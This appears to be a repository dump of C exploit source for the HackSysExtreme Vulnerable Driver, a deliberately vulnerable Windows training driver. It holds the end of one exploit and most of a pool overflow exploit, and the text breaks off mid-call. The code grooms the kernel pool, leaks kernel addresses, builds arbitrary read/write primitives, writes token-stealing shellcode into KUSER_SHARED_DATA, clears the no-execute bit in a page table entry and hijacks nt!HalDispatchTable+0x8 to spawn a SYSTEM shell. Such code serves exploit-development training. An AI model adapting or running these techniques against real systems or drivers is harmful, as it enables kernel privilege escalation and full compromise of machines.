| unsigned long long taintedPte = pteBits & 0x0FFFFFFFFFFFFFFF; 456 | 457 | printf("[+] Corrupted PTE bits for the shellcode page: %p\n", taintedPte); 458 | 459 | // Clear the no-eXecute bit in the actual PTE 460 | // Buffer to send to the driver (write primitive) 461 | unsigned long long inBuf13[4]; 462 | 463 | // Values to send 464 | unsigned long long one13 = 0x4141414141414141; 465 | unsigned long long two13 = shellcodePte; 466 | unsigned long long three13 = 0x0000000000000000; 467 | unsigned long long four13 = taintedPte; 468 | 469 | // Assign the values 470 | inBuf13[0] = one13; 471 | inBuf13[1] = two13; 472 | inBuf13[2] = three13; 473 | inBuf13[3] = four13; 474 | 475 | 476 | // Interact with the driver 477 | DWORD bytesReturned13 = 0; 478 | 479 | BOOL interact12 = DeviceIoControl( 480 | driverHandle, 481 | IOCTL_WRITE_CODE, 482 | &inBuf13, 483 | sizeof(inBuf13), 484 | &inBuf13, 485 | sizeof(inBuf13), 486 | &bytesReturned13, 487 | NULL 488 | ); 489 | 490 | // Error handling 491 | if (!interact12) 492 | { 493 | printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError()); 494 | } 495 | else 496 | { 497 | printf("[+] Successfully corrupted the PTE of the shellcode page! The kernel mode page holding the shellcode should now be RWX!\n"); 498 | 499 | // Offset to nt!HalDispatchTable+0x8 500 | unsigned long long halDispatch = baseofKernel + 0x427258; 501 | 502 | // Use arbitrary read primitive to preserve nt!HalDispatchTable+0x8 503 | // Buffer to send to the driver (write primitive) 504 | unsigned long long inBuf14[4]; 505 | 506 | // Values to send 507 | unsigned long long one14 = 0x4141414141414141; 508 | unsigned long long two14 = halDispatch; 509 | unsigned long long three14 = 0x0000000000000000; 510 | unsigned long long four14 = 0x0000000000000000; 511 | 512 | // Assign the values 513 | inBuf14[0] = one14; 514 | inBuf14[1] = two14; 515 | inBuf14[2] = three14; 516 | inBuf14[3] = four14; 517 | 518 | // Interact with the driver 519 | DWORD bytesReturned14 = 0; 520 | 521 | BOOL interact13 = DeviceIoControl( 522 | driverHandle, 523 | IOCTL_READ_CODE, 524 | &inBuf14, 525 | sizeof(inBuf14), 526 | &inBuf14, 527 | sizeof(inBuf14), 528 | &bytesReturned14, 529 | NULL 530 | ); 531 | 532 | // Error handling 533 | if (!interact13) 534 | { 535 | printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError()); 536 | } 537 | else 538 | { 539 | // Last member of read array should contain preserved nt!HalDispatchTable+0x8 value 540 | unsigned long long preservedHal = inBuf14[3]; 541 | 542 | printf("[+] Preserved nt!HalDispatchTable+0x8 value: 0x%llx\n", preservedHal); 543 | 544 | // Leveraging arbitrary write primitive to overwrite nt!HalDispatchTable+0x8 545 | // Buffer to send to the driver (write primitive) 546 | unsigned long long inBuf15[4]; 547 | 548 | // Values to send 549 | unsigned long long one15 = 0x4141414141414141; 550 | unsigned long long two15 = halDispatch; 551 | unsigned long long three15 = 0x0000000000000000; 552 | unsigned long long four15 = shellcodeLocation; 553 | 554 | // Assign the values 555 | inBuf15[0] = one15; 556 | inBuf15[1] = two15; 557 | inBuf15[2] = three15; 558 | inBuf15[3] = four15; 559 | 560 | // Interact with the driver 561 | DWORD bytesReturned15 = 0; 562 | 563 | BOOL interact14 = DeviceIoControl( 564 | driverHandle, 565 | IOCTL_WRITE_CODE, 566 | &inBuf15, 567 | sizeof(inBuf15), 568 | &inBuf15, 569 | sizeof(inBuf15), 570 | &bytesReturned15, 571 | NULL 572 | ); 573 | 574 | // Error handling 575 | if (!interact14) 576 | { 577 | printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError()); 578 | } 579 | else 580 | { 581 | printf("[+] Successfully overwrote the pointer at nt!HalDispatchTable+0x8!\n"); 582 | 583 | // Locating nt!NtQueryIntervalProfile 584 | NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress( 585 | GetModuleHandle( 586 | TEXT("ntdll.dll")), 587 | "NtQueryIntervalProfile" 588 | ); 589 | 590 | // Error handling 591 | if (!NtQueryIntervalProfile) 592 | { 593 | printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError()); 594 | exit(1); 595 | } 596 | else 597 | { 598 | // Print update for found ntdll!NtQueryIntervalProfile 599 | printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile); 600 | 601 | // Calling nt!NtQueryIntervalProfile 602 | ULONG exploit = 0; 603 | 604 | NtQueryIntervalProfile( 605 | 0x1234, 606 | &exploit 607 | ); 608 | 609 | // Restoring nt!HalDispatchTable+0x8 610 | // Buffer to send to the driver (write primitive) 611 | unsigned long long inBuf16[4]; 612 | 613 | // Values to send 614 | unsigned long long one16 = 0x4141414141414141; 615 | unsigned long long two16 = halDispatch; 616 | unsigned long long three16 = 0x0000000000000000; 617 | unsigned long long four16 = preservedHal; 618 | 619 | // Assign the values 620 | inBuf16[0] = one16; 621 | inBuf16[1] = two16; 622 | inBuf16[2] = three16; 623 | inBuf16[3] = four16; 624 | 625 | // Interact with the driver 626 | DWORD bytesReturned16 = 0; 627 | 628 | BOOL interact15 = DeviceIoControl( 629 | driverHandle, 630 | IOCTL_WRITE_CODE, 631 | &inBuf16, 632 | sizeof(inBuf16), 633 | &inBuf16, 634 | sizeof(inBuf16), 635 | &bytesReturned16, 636 | NULL 637 | ); 638 | 639 | // Error handling 640 | if (!interact15) 641 | { 642 | printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError()); 643 | } 644 | else 645 | { 646 | printf("[+] Successfully restored the pointer at nt!HalDispatchTable+0x8!\n"); 647 | printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n"); 648 | 649 | // Spawning an NT AUTHORITY\SYSTEM shell 650 | system("cmd.exe /c cmd.exe /K cd C:\\"); 651 | } 652 | } 653 | } 654 | } 655 | } 656 | } 657 | } 658 | } 659 | } 660 | } 661 | 662 | // Call exploitWork() 663 | void main(void) 664 | { 665 | exploitWork(); 666 | } 667 | -------------------------------------------------------------------------------- /HEVD/Pool Overflow/HEVD_PoolOverflow.c: -------------------------------------------------------------------------------- 1 | // HackSysExtreme Vulnerable Driver: Pool Overflow + Memory Disclosure 2 | // Author: Connor McGarr (@33y0re) 3 | 4 | #include 5 | #include 6 | 7 | // typdef an ARW_HELPER_OBJECT_IO struct 8 | typedef struct _ARW_HELPER_OBJECT_IO 9 | { 10 | PVOID HelperObjectAddress; 11 | PVOID Name; 12 | SIZE_T Length; 13 | } ARW_HELPER_OBJECT_IO, * PARW_HELPER_OBJECT_IO; 14 | 15 | // Create a global array of ARW_HELPER_OBJECT_IO objects to manage the groomed pool allocations 16 | ARW_HELPER_OBJECT_IO helperobjectArray[5000] = { 0 }; 17 | 18 | // Prepping call to nt!NtQueryIntervalProfile 19 | typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval); 20 | 21 | // Leak the base of HEVD.sys 22 | unsigned long long memLeak(HANDLE driverHandle) 23 | { 24 | // Array to manage handles opened by CreateEventA 25 | HANDLE eventObjects[5000]; 26 | 27 | // Spray 5000 objects to fill the new page 28 | for (int i = 0; i <= 5000; i++) 29 | { 30 | // Create the objects 31 | HANDLE tempHandle = CreateEventA( 32 | NULL, 33 | FALSE, 34 | FALSE, 35 | NULL 36 | ); 37 | 38 | // Assign the handles to the array 39 | eventObjects[i] = tempHandle; 40 | } 41 | 42 | // Check to see if the first handle is a valid handle 43 | if (eventObjects[0] == NULL) 44 | { 45 | printf("[-] Error! Unable to spray CreateEventA objects! Error: 0x%lx\n", GetLastError()); 46 | 47 | return 0x1; 48 | exit(-1); 49 | } 50 | else 51 | { 52 | printf("[+] Sprayed CreateEventA objects to fill holes of size 0x80!\n"); 53 | 54 | // Close half of the handles 55 | for (int i = 0; i <= 5000; i += 2) 56 | { 57 | BOOL tempHandle1 = CloseHandle( 58 | eventObjects[i] 59 | ); 60 | 61 | eventObjects[i] = NULL; 62 | 63 | // Error handling 64 | if (!tempHandle1) 65 | { 66 | printf("[-] Error! Unable to free the CreateEventA objects! Error: 0x%lx\n", GetLastError()); 67 | 68 | return 0x1; 69 | exit(-1); 70 | } 71 | } 72 | 73 | printf("[+] Poked holes in the new pool page!\n"); 74 | 75 | // Allocate UaF Objects in place of the poked holes by just invoking the IOCTL, which will call ExAllocatePoolWithTag for a UAF object 76 | // kLFH should automatically fill the freed holes with the UAF objects 77 | DWORD bytesReturned; 78 | 79 | for (int i = 0; i < 2500; i++) 80 | { 81 | DeviceIoControl( 82 | driverHandle, 83 | 0x00222053, 84 | NULL, 85 | 0, 86 | NULL, 87 | 0, 88 | &bytesReturned, 89 | NULL 90 | ); 91 | } 92 | 93 | printf("[+] Allocated objects containing a pointer to HEVD in place of the freed CreateEventA objects!\n"); 94 | 95 | // Close the rest of the event objects 96 | for (int i = 1; i <= 5000; i += 2) 97 | { 98 | BOOL tempHandle2 = CloseHandle( 99 | eventObjects[i] 100 | ); 101 | 102 | eventObjects[i] = NULL; 103 | 104 | // Error handling 105 | if (!tempHandle2) 106 | { 107 | printf("[-] Error! Unable to free the rest of the CreateEventA objects! Error: 0x%lx\n", GetLastError()); 108 | 109 | return 0x1; 110 | exit(-1); 111 | } 112 | } 113 | 114 | // Array to store the buffer (output buffer for DeviceIoControl) and the base address 115 | unsigned long long outputBuffer[100]; 116 | unsigned long long hevdBase = 0; 117 | 118 | // Everything is now, theoretically, [FREE, UAFOBJ, FREE, UAFOBJ, FREE, UAFOBJ], barring any more randomization from the kLFH 119 | // Fill some of the holes, but not all, with vulnerable chunks that can read out-of-bounds (we don't want to fill up all the way to avoid reading from a page that isn't mapped) 120 | 121 | for (int i = 0; i <= 100; i++) 122 | { 123 | // Return buffer 124 | DWORD bytesReturned1; 125 | 126 | DeviceIoControl( 127 | driverHandle, 128 | 0x0022204f, 129 | NULL, 130 | 0, 131 | &outputBuffer, 132 | sizeof(outputBuffer), 133 | &bytesReturned1, 134 | NULL 135 | ); 136 | 137 | } 138 | 139 | printf("[+] Successfully triggered the out-of-bounds read!\n"); 140 | 141 | // Parse the output 142 | for (int i = 0; i <= 100; i++) 143 | { 144 | // Kernel mode address? 145 | if ((outputBuffer[i] & 0xfffff00000000000) == 0xfffff00000000000) 146 | { 147 | printf("[+] Address of function pointer in HEVD.sys: 0x%llx\n", outputBuffer[i]); 148 | printf("[+] Base address of HEVD.sys: 0x%llx\n", outputBuffer[i] - 0x880CC); 149 | 150 | // Store the variable for future usage 151 | hevdBase = outputBuffer[i] - 0x880CC; 152 | 153 | // Return the value of the base of HEVD 154 | return hevdBase; 155 | } 156 | } 157 | } 158 | } 159 | 160 | // Function used to fill the holes in pool pages 161 | void fillHoles(HANDLE driverHandle) 162 | { 163 | // Instantiate an ARW_HELPER_OBJECT_IO 164 | ARW_HELPER_OBJECT_IO tempObject = { 0 }; 165 | 166 | // Value to assign the Name member of each ARW_HELPER_OBJECT_IO 167 | unsigned long long nameValue = 0x9090909090909090; 168 | 169 | // Set the length to 0x8 so that the Name member of an ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object allocated in the pool has its Name member allocated to size 0x8, a 64-bit pointer size 170 | tempObject.Length = 0x8; 171 | 172 | // Bytes returned 173 | DWORD bytesreturnedFill; 174 | 175 | for (int i = 0; i <= 5000; i++) 176 | { 177 | // Set the Name value to 0x9090909090909090 178 | tempObject.Name = &nameValue; 179 | 180 | // Allocate a ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object with a Name member of size 0x8 and a Name value of 0x9090909090909090 181 | DeviceIoControl( 182 | driverHandle, 183 | 0x00222063, 184 | &tempObject, 185 | sizeof(tempObject), 186 | &tempObject, 187 | sizeof(tempObject), 188 | &bytesreturnedFill, 189 | NULL 190 | ); 191 | 192 | // Using non-controlled arbitrary write to set the Name member of the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object to 0x9090909090909090 via the Name member of each ARW_HELPER_OBJECT_IO 193 | // This will be used later on to filter out which ARW_HELPER_OBJECT_NON_PAGED_POOL_NX HAVE NOT been corrupted successfully (e.g. their Name member is 0x9090909090909090 still) 194 | DeviceIoControl( 195 | driverHandle, 196 | 0x00222067, 197 | &tempObject, 198 | sizeof(tempObject), 199 | &tempObject, 200 | sizeof(tempObject), 201 | &bytesreturnedFill, 202 | NULL 203 | ); 204 | 205 | // After allocating the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects (via the ARW_HELPER_OBJECT_IO objects), assign each ARW_HELPER_OBJECT_IO structures to the global managing array 206 | helperobjectArray[i] = tempObject; 207 | } 208 | 209 | printf("[+] Sprayed ARW_HELPER_OBJECT_IO objects to fill holes in the NonPagedPoolNx with ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects!\n"); 210 | } 211 | 212 | // Fill up the new page within the NonPagedPoolNx with ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects 213 | void groomPool(HANDLE driverHandle) 214 | { 215 | // Instantiate an ARW_HELPER_OBJECT_IO 216 | ARW_HELPER_OBJECT_IO tempObject1 = { 0 }; 217 | 218 | // Value to assign the Name member of each ARW_HELPER_OBJECT_IO 219 | unsigned long long nameValue1 = 0x9090909090909090; 220 | 221 | // Set the length to 0x8 so that the Name member of an ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object allocated in the pool has its Name member allocated to size 0x8, a 64-bit pointer size 222 | tempObject1.Length = 0x8; 223 | 224 | // Bytes returned 225 | DWORD bytesreturnedGroom; 226 | 227 | for (int i = 0; i <= 5000; i++) 228 | { 229 | // Set the Name value to 0x9090909090909090 230 | tempObject1.Name = &nameValue1; 231 | 232 | // Allocate a ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object with a Name member of size 0x8 and a Name value of 0x9090909090909090 233 | DeviceIoControl( 234 | driverHandle, 235 | 0x00222063, 236 | &tempObject1, 237 | sizeof(tempObject1), 238 | &tempObject1, 239 | sizeof(tempObject1), 240 | &bytesreturnedGroom, 241 | NULL 242 | ); 243 | 244 | // Using non-controlled arbitrary write to set the Name member of the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object to 0x9090909090909090 via the Name member of each ARW_HELPER_OBJECT_IO 245 | // This will be used later on to filter out which ARW_HELPER_OBJECT_NON_PAGED_POOL_NX HAVE NOT been corrupted successfully (e.g. their Name member is 0x9090909090909090 still) 246 | DeviceIoControl( 247 | driverHandle, 248 | 0x00222067, 249 | &tempObject1, 250 | sizeof(tempObject1), 251 | &tempObject1, 252 | sizeof(tempObject1), 253 | &bytesreturnedGroom, 254 | NULL 255 | ); 256 | 257 | // After allocating the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects (via the ARW_HELPER_OBJECT_IO objects), assign each ARW_HELPER_OBJECT_IO structures to the global managing array 258 | helperobjectArray[i] = tempObject1; 259 | } 260 | 261 | printf("[+] Filled the new page with ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects!\n"); 262 | } 263 | 264 | // Free every other object in the global array to poke holes for the vulnerable objects 265 | void pokeHoles(HANDLE driverHandle) 266 | { 267 | // Bytes returned 268 | DWORD bytesreturnedPoke; 269 | 270 | // Free every other element in the global array managing objects in the new page from grooming 271 | for (int i = 0; i <= 5000; i += 2) 272 | { 273 | DeviceIoControl( 274 | driverHandle, 275 | 0x0022206f, 276 | &helperobjectArray[i], 277 | sizeof(helperobjectArray[i]), 278 | &helperobjectArray[i], 279 | sizeof(helperobjectArray[i]), 280 | &bytesreturnedPoke, 281 | NULL 282 | ); 283 | } 284 | 285 | printf("[+] Poked holes in the NonPagedPoolNx page containing the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects!\n"); 286 | } 287 | 288 | // Create the main ARW_HELPER_OBJECT_IO 289 | ARW_HELPER_OBJECT_IO createmainObject(HANDLE driverHandle) 290 | { 291 | // Instantiate an object of type ARW_HELPER_OBJECT_IO 292 | ARW_HELPER_OBJECT_IO helperObject = { 0 }; 293 | 294 | // Set the Length member which corresponds to the amount of memory used to allocate a chunk to store the Name member eventually 295 | helperObject.Length = 0x8; 296 | 297 | // Bytes returned 298 | DWORD bytesReturned2; 299 | 300 | // Invoke CreateArbitraryReadWriteHelperObjectNonPagedPoolNx to create the main ARW_HELPER_OBJECT_NON_PAGED_POOL_NX 301 | DeviceIoControl( 302 | driverHandle, 303 | 0x00222063, 304 | &helperObject, 305 | sizeof(helperObject), 306 | &helperObject, 307 | sizeof(helperObject), 308 | &bytesReturned2, 309 | NULL 310 | ); 311 | 312 | // Parse the output 313 | printf("[+] PARW_HELPER_OBJECT_IO->HelperObjectAddress: 0x%p\n", helperObject.HelperObjectAddress); 314 | printf("[+] PARW_HELPER_OBJECT_IO->Name: 0x%p\n", helperObject.Name); 315 | printf("[+] PARW_HELPER_OBJECT_IO->Length: 0x%zu\n", helperObject.Length); 316 | 317 | return helperObject; 318 | } 319 | 320 | // Read/write primitive 321 | void readwritePrimitive(HANDLE driverHandle) 322 | { 323 | // Store the value of the base of HEVD 324 | unsigned long long hevdBase = memLeak(driverHandle); 325 | 326 | // Store the main ARW_HELOPER_OBJECT 327 | ARW_HELPER_OBJECT_IO mainObject = createmainObject(driverHandle); 328 | 329 | // Fill the holes 330 | fillHoles(driverHandle); 331 | 332 | // Groom the pool 333 | groomPool(driverHandle); 334 | 335 | // Poke holes 336 | pokeHoles(driverHandle); 337 | 338 | // Use buffer overflow to take "main" ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object's Name value (managed by ARW_HELPER_OBJECT_IO.Name) to overwrite any of the groomed ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name values 339 | // Create a buffer that first fills up the vulnerable chunk of 0x10 (16) bytes 340 | unsigned long long vulnBuffer[5]; 341 | vulnBuffer[0] = 0x4141414141414141; 342 | vulnBuffer[1] = 0x4141414141414141; 343 | 344 | // Hardcode the _POOL_HEADER value for a ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object 345 | vulnBuffer[2] = 0x6b63614802020000; 346 | 347 | // Padding 348 | vulnBuffer[3] = 0x4141414141414141; 349 | 350 | // Overwrite any of the adjacent ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object's Name member with the address of the "main" ARW_HELPER_OBJECT_NON_PAGED_POOL_NX (via ARW_HELPER_OBJECT_IO.HelperObjectAddress) 351 | vulnBuffer[4] = mainObject.HelperObjectAddress; 352 | 353 | // Bytes returned 354 | DWORD bytesreturnedOverflow; 355 | DWORD bytesreturnedreadPrimtitve; 356 | 357 | printf("[+] Triggering the out-of-bounds-write via pool overflow!\n"); 358 | 359 | // Trigger the pool overflow 360 | DeviceIoControl( 361 | driverHandle, 362 | 0x0022204b, 363 | &vulnBuffer, 364 | sizeof(vulnBuffer), 365 | &vulnBuffer, 366 | 0x28, 367 | &bytesreturnedOverflow, 368 | NULL 369 | ); 370 | 371 | // Find which "groomed" object was overflowed 372 | int index = 0; 373 | unsigned long long placeholder = 0x9090909090909090; 374 | 375 | // Loop through every groomed object to find out which Name member was overwritten with the main ARW_HELPER_NON_PAGED_POOL_NX object 376 | for (int i = 0; i <= 5000; i++) 377 | { 378 | // The placeholder variable will be overwritten. Get operation will overwrite this variable with the real contents of each object's Name member 379 | helperobjectArray[i].Name = &placeholder; 380 | 381 | DeviceIoControl( 382 | driverHandle, 383 | 0x0022206b, 384 | &helperobjectArray[i], 385 | sizeof(helperobjectArray[i]), 386 | &helperobjectArray[i], 387 | sizeof(helperobjectArray[i]), 388 | &bytesreturnedreadPrimtitve, 389 | NULL 390 | ); 391 | 392 | // Loop until a Name value other than the original NOPs is found 393 | if (placeholder != 0x9090909090909090) 394 | { 395 | printf("[+] Found the overflowed object overwritten with main ARW_HELPER_NON_PAGED_POOL_NX object!\n"); 396 | printf("[+] PARW_HELPER_OBJECT_IO->HelperObjectAddress: 0x%p\n", helperobjectArray[i].HelperObjectAddress); 397 | 398 | // Assign the index 399 | index = i; 400 | 401 | printf("[+] Array index of global array managing groomed objects: %d\n", index); 402 | 403 | // Break the loop 404 | break; 405 | } 406 | } 407 | 408 | // IAT entry from HEVD.sys which points to nt!ExAllocatePoolWithTag 409 | unsigned long long ntiatLeak = hevdBase + 0x2038; 410 | 411 | // Print update 412 | printf("[+] Target HEVD.sys address with pointer to ntoskrnl.exe: 0x%llx\n", ntiatLeak); 413 | 414 | // Assign the target address to the corrupted object 415 | helperobjectArray[index].Name = &ntiatLeak; 416 | 417 | // Set the Name member of the "corrupted" object managed by the global array. The main object is currently set to the Name member of one of the sprayed ARW_HELPER_OBJECT_NON_PAGED_POOL_NX that was corrupted via the pool overflow 418 | DeviceIoControl( 419 | driverHandle, 420 | 0x00222067, 421 | &helperobjectArray[index], 422 | sizeof(helperobjectArray[index]), 423 | NULL, 424 | NULL, 425 | &bytesreturnedreadPrimtitve, 426 | NULL 427 | ); 428 | 429 | // Declare variable that will receive the address of nt!ExAllocatePoolWithTag and initialize it 430 | unsigned long long ntPointer = 0x9090909090909090; 431 | 432 | // Setting the Name member of the main object to the address of the ntPointer variable. When the Name member is dereferenced and bubbled back up to user mode, it will overwrite the value of ntPointer 433 | mainObject.Name = &ntPointer; 434 | 435 | // Perform the "Get" operation on the main object, which should now have the Name member set to the IAT entry from HEVD 436 | DeviceIoControl( 437 | driverHandle, 438 | 0x0022206b, 439 | &mainObject, 440 | sizeof(mainObject), 441 | &mainObject, 442 | sizeof(mainObject), 443 | &bytesreturnedreadPrimtitve, 444 | NULL 445 | ); 446 | 447 | // Print the pointer to nt!ExAllocatePoolWithTag 448 | printf("[+] Leaked ntoskrnl.exe pointer! nt!ExAllocatePoolWithTag: 0x%llx\n", ntPointer); 449 | 450 | // Assign a variable the base of the kernel (static offset) 451 | unsigned long long kernelBase = ntPointer - 0x9b3160; 452 | 453 | // Print the base of the kernel 454 | printf("[+] ntoskrnl.exe base address: 0x%llx\n", kernelBase); 455 | 456 | // Assign a variable with nt!MiGetPteAddress+0x13 457 | unsigned long long migetpteAddress = kernelBase + 0x222073; 458 | 459 | // Print update 460 | printf("[+] nt!MiGetPteAddress+0x13: 0x%llx\n", migetpteAddress); 461 | 462 | // Assign the target address to the corrupted object 463 | helperobjectArray[index].Name = &migetpteAddress; 464 | 465 | // Set the Name member of the "corrupted" object managed by the global array to obtain the base of the PTEs 466 | DeviceIoControl( 467 | driverHandle, 468 | 0x00222067, 469 | &helperobjectArray[index], 470 | sizeof(helperobjectArray[index]), 471 | NULL, 472 | NULL, 473 | &bytesreturnedreadPrimtitve, 474 | NULL 475 | ); 476 | 477 | // Declare a variable that will receive the base of the PTEs 478 | unsigned long long pteBase = 0x9090909090909090; 479 | 480 | // Setting the Name member of the main object to the address of the pteBase variable 481 | mainObject.Name = &pteBase; 482 | 483 | // Perform the "Get" operation on the main object 484 | DeviceIoControl( 485 | driverHandle, 486 | 0x0022206b, 487 | &mainObject, 488 | sizeof(mainObject), 489 | &mainObject, 490 | sizeof(mainObject), 491 | &bytesreturnedreadPrimtitve, 492 | NULL 493 | ); 494 | 495 | // Print update 496 | printf("[+] Base of the page table entries: 0x%llx\n", pteBase); 497 | 498 | // Calculate the PTE page for our shellcode in KUSER_SHARED_DATA 499 | unsigned long long shellcodePte = 0xfffff78000000800 >> 9; 500 | shellcodePte = shellcodePte & 0x7FFFFFFFF8; 501 | shellcodePte = shellcodePte + pteBase; 502 | 503 | // Print update 504 | printf("[+] KUSER_SHARED_DATA+0x800 PTE page: 0x%llx\n", shellcodePte); 505 | 506 | // Assign the target address to the corrupted object 507 | helperobjectArray[index].Name = &shellcodePte; 508 | 509 | // Set the Name member of the "corrupted" object managed by the global array to obtain the address of the shellcode PTE page 510 | DeviceIoControl( 511 | driverHandle, 512 | 0x00222067, 513 | &helperobjectArray[index], 514 | sizeof(helperobjectArray[index]), 515 | NULL, 516 | NULL, 517 | &bytesreturnedreadPrimtitve, 518 | NULL 519 | ); 520 | 521 | // Declare a variable that will receive the PTE bits 522 | unsigned long long pteBits = 0x9090909090909090; 523 | 524 | // Setting the Name member of the main object 525 | mainObject.Name = &pteBits; 526 | 527 | // Perform the "Get" operation on the main object 528 | DeviceIoControl( 529 | driverHandle, 530 | 0x0022206b, 531 | &mainObject, 532 | sizeof(mainObject), 533 | &mainObject, 534 | sizeof(mainObject), 535 | &bytesreturnedreadPrimtitve, 536 | NULL 537 | ); 538 | 539 | // Print update 540 | printf("[+] PTE bits for shellcode page: %p\n", pteBits); 541 | 542 | // Store nt!HalDispatchTable+0x8 543 | unsigned long long halTemp = kernelBase + 0xc00a68; 544 | 545 | // Assign the target address to the corrupted object 546 | helperobjectArray[index].Name = &halTemp; 547 | 548 | // Set the Name member of the "corrupted" object managed by the global array to obtain the pointer at nt!HalDispatchTable+0x8 549 | DeviceIoControl( 550 | driverHandle, 551 | 0x00222067, 552 | &helperobjectArray[index], 553 | sizeof(helperobjectArray[index]), 554 | NULL, 555 | NULL, 556 | &bytesreturnedreadPrimtitve, 557 | NULL 558 | ); 559 | 560 | // Declare a variable that will receive [nt!HalDispatchTable+0x8] 561 | unsigned long long halDispatch = 0x9090909090909090; 562 | 563 | // Setting the Name member of the main object 564 | mainObject.Name = &halDispatch; 565 | 566 | // Perform the "Get" operation on the main object 567 | DeviceIoControl( 568 | driverHandle, 569 | 0x0022206b, 570 | &mainObject, 571 | sizeof(mainObject), 572 | &mainObject, 573 | sizeof(mainObject), 574 | &bytesreturnedreadPrimtitve, 575 | NULL 576 | ); 577 | 578 | // Print update 579 | printf("[+] Preserved [nt!HalDispatchTable+0x8] value: 0x%llx\n", halDispatch); 580 | 581 | // Arbitrary write primitive 582 | 583 | /* 584 | ; Windows 10 19H1 x64 Token Stealing Payload 585 | ; Author Connor McGarr 586 | [BITS 64] 587 | _start: 588 | mov rax, [gs:0x188] ; Current thread (_KTHREAD) 589 | mov rax, [rax + 0xb8] ; Current process (_EPROCESS) 590 | mov rbx, rax ; Copy current process (_EPROCESS) to rbx 591 | __loop: 592 | mov rbx, [rbx + 0x448] ; ActiveProcessLinks 593 | sub rbx, 0x448 ; Go back to current process (_EPROCESS) 594 | mov rcx, [rbx + 0x440] ; UniqueProcessId (PID) 595 | cmp rcx, 4 ; Compare PID to SYSTEM PID 596 | jnz __loop ; Loop until SYSTEM PID is found 597 | mov rcx, [rbx + 0x4b8] ; SYSTEM token is @ offset _EPROCESS + 0x360 598 | and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt 599 | mov [rax + 0x4b8], rcx ; Copy SYSTEM token to current process 600 | xor rax, rax ; set NTSTATUS STATUS_SUCCESS 601 | ret ; Done! 602 | */ 603 | 604 | // Shellcode 605 | unsigned long long shellcode[9] = { 0 }; 606 | shellcode[0] = 0x00018825048B4865; 607 | shellcode[1] = 0x000000B8808B4800; 608 | shellcode[2] = 0x04489B8B48C38948; 609 | shellcode[3] = 0x000448EB81480000; 610 | shellcode[4] = 0x000004408B8B4800; 611 | shellcode[5] = 0x8B48E57504F98348; 612 | shellcode[6] = 0xF0E180000004B88B; 613 | shellcode[7] = 0x48000004B8888948; 614 | shellcode[8] = 0x0000000000C3C031; 615 | 616 | // Assign the target address to write to the corrupted object 617 | unsigned long long kusersharedData = 0xfffff78000000800; 618 | 619 | // Create a "counter" for writing the array of shellcode 620 | int counter = 0; 621 | 622 | // For loop to write the shellcode 623 | for (int i = 0; i <= 9; i++) 624 | { 625 | // Setting the corrupted object to KUSER_SHARED_DATA+0x800 incrementally 9 times, since our shellcode is 9 QWORDS 626 | // kusersharedData variable, managing the current address of KUSER_SHARED_DATA+0x800, is incremented by 0x8 at the end of each iteration of the loop 627 | helperobjectArray[index].Name = &kusersharedData; 628 | 629 | // Setting the Name member of the main object to specify what we would like to write 630 | mainObject.Name = &shellcode[counter]; 631 | 632 | // Set the Name member of the "corrupted" object managed by the global array to KUSER_SHARED_DATA+0x800, incrementally 633 | DeviceIoControl( 634 | driverHandle, 635 | 0x00222067, 636 | &helperobjectArray[index], 637 | sizeof(helperobjectArray[index]), 638 | NULL, 639 | NULL, 640 | &bytesreturnedreadPrimtitve, 641 | NULL 642 | ); 643 | 644 | // Perform the arbitrary write via "set" to overwrite each QWORD of KUSER_SHARED_DATA+0x800 until our shellcode is written 645 | DeviceIoControl( 646 | driverHandle, 647 | 0x00222067, 648 | &mainObject, 649 | sizeof(mainObject), 650 | NULL, 651 | NULL, 652 | &bytesreturnedreadPrimtitve, 653 | NULL 654 | ); 655 | 656 | // Increase the counter 657 | counter++; 658 | 659 | // Increase the counter 660 | kusersharedData += 0x8; 661 | } 662 | 663 | // Print update 664 | printf("[+] Successfully wrote the shellcode to KUSER_SHARED_DATA+0x800!\n"); 665 | 666 | // Taint the PTE contents to corrupt the NX bit in KUSER_SHARED_DATA+0x800 667 | unsigned long long taintedBits = pteBits & 0x0FFFFFFFFFFFFFFF; 668 | 669 | // Print update 670 | printf("[+] Tainted PTE contents: %p\n", taintedBits); 671 | 672 | // Leverage the arbitrary write primitive to corrupt the PTE contents 673 | 674 | // Setting the Name member of the corrupted object to specify where we would like to write 675 | helperobjectArray[index].Name = &shellcodePte; 676 | 677 | // Specify what we would like to write (the tainted PTE contents) 678 | mainObject.Name = &taintedBits; 679 | 680 | // Set the Name member of the "corrupted" object managed by the global array to KUSER_SHARED_DATA+0x800's PTE virtual address 681 | DeviceIoControl( 682 | driverHandle, 683 | 0x00222067, 684 | &helperobjectArray[index], 685 | sizeof(helperobjectArray[index]), 686 | NULL, 687 | NULL, 688 | &bytesreturnedreadPrimtitve, 689 | NULL 690 | ); 691 | 692 | // Perform the arbitrary write 693 | DeviceIoControl( 694 | driverHandle, 695 | 0x00222067, 696 | &mainObject, 697 | sizeof(mainObject), 698 | NULL, 699 | NULL, 700 | 